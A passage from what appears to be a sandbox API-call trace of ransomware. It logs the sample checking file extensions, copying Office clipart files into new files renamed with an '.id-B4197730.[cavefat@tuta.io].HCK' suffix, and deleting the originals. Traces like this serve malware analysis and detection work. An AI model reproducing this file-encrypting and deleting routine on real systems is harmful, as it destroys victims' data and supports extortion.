lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.470] SetEndOfFile (hFile=0x394) returned 1 [0155.470] CloseHandle (hObject=0x394) returned 1 [0155.471] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.471] SetEndOfFile (hFile=0x364) returned 1 [0155.471] CloseHandle (hObject=0x364) returned 1 [0155.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0155.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0155.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0155.476] lstrlenW (lpString=".doc") returned 4 [0155.476] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.476] lstrlenW (lpString=".docx") returned 5 [0155.476] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.476] lstrlenW (lpString=".pdf") returned 4 [0155.476] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.476] lstrlenW (lpString=".xls") returned 4 [0155.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.476] lstrlenW (lpString=".xlsx") returned 5 [0155.476] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.476] lstrlenW (lpString=".ppt") returned 4 [0155.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0155.477] lstrlenW (lpString=".zip") returned 4 [0155.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.477] lstrlenW (lpString=".rar") returned 4 [0155.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.477] lstrlenW (lpString=".bz2") returned 4 [0155.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.477] lstrlenW (lpString=".7z") returned 3 [0155.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0155.477] lstrlenW (lpString=".dbf") returned 4 [0155.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0155.477] lstrlenW (lpString=".1cd") returned 4 [0155.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0155.477] lstrlenW (lpString=".jpg") returned 4 [0155.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0155.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0155.477] lstrlenW (lpString=".doc") returned 4 [0155.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.477] lstrlenW (lpString=".docx") returned 5 [0155.477] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.477] lstrlenW (lpString=".pdf") returned 4 [0155.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.477] lstrlenW (lpString=".xls") returned 4 [0155.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.477] lstrlenW (lpString=".xlsx") returned 5 [0155.477] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.477] lstrlenW (lpString=".ppt") returned 4 [0155.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0155.477] lstrlenW (lpString=".zip") returned 4 [0155.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.477] lstrlenW (lpString=".rar") returned 4 [0155.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.477] lstrlenW (lpString=".bz2") returned 4 [0155.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.477] lstrlenW (lpString=".7z") returned 3 [0155.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0155.477] lstrlenW (lpString=".dbf") returned 4 [0155.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0155.477] lstrlenW (lpString=".1cd") returned 4 [0155.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0155.477] lstrlenW (lpString=".jpg") returned 4 [0155.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.477] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.478] lstrlenW (lpString="BD09662_.WMF") returned 12 [0155.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0155.660] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=20554) returned 1 [0155.667] CloseHandle (hObject=0x360) returned 1 [0155.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x220 [0155.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0155.681] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.682] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0156.239] GetLastError () returned 0x0 [0156.252] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x504a, lpOverlapped=0x0) returned 1 [0156.274] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x5050, lpOverlapped=0x0) returned 1 [0156.275] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.275] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.275] SetEndOfFile (hFile=0x364) returned 1 [0156.275] CloseHandle (hObject=0x364) returned 1 [0156.276] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.276] SetEndOfFile (hFile=0x360) returned 1 [0156.277] CloseHandle (hObject=0x360) returned 1 [0156.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.277] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0156.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0156.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0156.277] lstrlenW (lpString=".doc") returned 4 [0156.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.277] lstrlenW (lpString=".docx") returned 5 [0156.277] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.278] lstrlenW (lpString=".pdf") returned 4 [0156.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.278] lstrlenW (lpString=".xls") returned 4 [0156.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.278] lstrlenW (lpString=".xlsx") returned 5 [0156.278] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.278] lstrlenW (lpString=".ppt") returned 4 [0156.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0156.278] lstrlenW (lpString=".zip") returned 4 [0156.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.278] lstrlenW (lpString=".rar") returned 4 [0156.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.278] lstrlenW (lpString=".bz2") returned 4 [0156.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.278] lstrlenW (lpString=".7z") returned 3 [0156.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0156.278] lstrlenW (lpString=".dbf") returned 4 [0156.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0156.278] lstrlenW (lpString=".1cd") returned 4 [0156.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0156.278] lstrlenW (lpString=".jpg") returned 4 [0156.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0156.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0156.278] lstrlenW (lpString=".doc") returned 4 [0156.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.278] lstrlenW (lpString=".docx") returned 5 [0156.278] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.278] lstrlenW (lpString=".pdf") returned 4 [0156.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.278] lstrlenW (lpString=".xls") returned 4 [0156.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.278] lstrlenW (lpString=".xlsx") returned 5 [0156.278] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.278] lstrlenW (lpString=".ppt") returned 4 [0156.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0156.278] lstrlenW (lpString=".zip") returned 4 [0156.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.278] lstrlenW (lpString=".rar") returned 4 [0156.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.278] lstrlenW (lpString=".bz2") returned 4 [0156.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.278] lstrlenW (lpString=".7z") returned 3 [0156.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0156.278] lstrlenW (lpString=".dbf") returned 4 [0156.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0156.279] lstrlenW (lpString=".1cd") returned 4 [0156.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0156.279] lstrlenW (lpString=".jpg") returned 4 [0156.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.279] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.279] lstrlenW (lpString="BL00122_.WMF") returned 12 [0156.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.279] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=10146) returned 1 [0156.279] CloseHandle (hObject=0x360) returned 1 [0156.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x220 [0156.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.279] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.279] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0156.280] GetLastError () returned 0x0 [0156.280] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x27a2, lpOverlapped=0x0) returned 1 [0156.281] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x27b0, lpOverlapped=0x0) returned 1 [0156.282] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.282] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.282] SetEndOfFile (hFile=0x364) returned 1 [0156.282] CloseHandle (hObject=0x364) returned 1 [0156.283] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.283] SetEndOfFile (hFile=0x360) returned 1 [0156.283] CloseHandle (hObject=0x360) returned 1 [0156.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.284] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0156.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0156.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0156.284] lstrlenW (lpString=".doc") returned 4 [0156.284] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.284] lstrlenW (lpString=".docx") returned 5 [0156.284] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.284] lstrlenW (lpString=".pdf") returned 4 [0156.284] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.284] lstrlenW (lpString=".xls") returned 4 [0156.284] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.284] lstrlenW (lpString=".xlsx") returned 5 [0156.284] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.284] lstrlenW (lpString=".ppt") returned 4 [0156.284] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0156.284] lstrlenW (lpString=".zip") returned 4 [0156.284] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.284] lstrlenW (lpString=".rar") returned 4 [0156.284] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.284] lstrlenW (lpString=".bz2") returned 4 [0156.284] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.284] lstrlenW (lpString=".7z") returned 3 [0156.284] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0156.284] lstrlenW (lpString=".dbf") returned 4 [0156.284] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0156.284] lstrlenW (lpString=".1cd") returned 4 [0156.284] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0156.284] lstrlenW (lpString=".jpg") returned 4 [0156.284] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0156.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0156.285] lstrlenW (lpString=".doc") returned 4 [0156.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.285] lstrlenW (lpString=".docx") returned 5 [0156.285] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.285] lstrlenW (lpString=".pdf") returned 4 [0156.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.285] lstrlenW (lpString=".xls") returned 4 [0156.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.285] lstrlenW (lpString=".xlsx") returned 5 [0156.285] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.285] lstrlenW (lpString=".ppt") returned 4 [0156.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0156.285] lstrlenW (lpString=".zip") returned 4 [0156.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.285] lstrlenW (lpString=".rar") returned 4 [0156.285] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.285] lstrlenW (lpString=".bz2") returned 4 [0156.285] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.285] lstrlenW (lpString=".7z") returned 3 [0156.285] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0156.285] lstrlenW (lpString=".dbf") returned 4 [0156.285] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0156.285] lstrlenW (lpString=".1cd") returned 4 [0156.285] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0156.285] lstrlenW (lpString=".jpg") returned 4 [0156.285] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.285] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.285] lstrlenW (lpString="BL00130_.WMF") returned 12 [0156.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.286] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1464) returned 1 [0156.286] CloseHandle (hObject=0x360) returned 1 [0156.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x220 [0156.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.286] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.286] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0156.287] GetLastError () returned 0x0 [0156.287] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x5b8, lpOverlapped=0x0) returned 1 [0156.288] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0156.288] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.288] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.289] SetEndOfFile (hFile=0x364) returned 1 [0156.289] CloseHandle (hObject=0x364) returned 1 [0156.289] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.289] SetEndOfFile (hFile=0x360) returned 1 [0156.290] CloseHandle 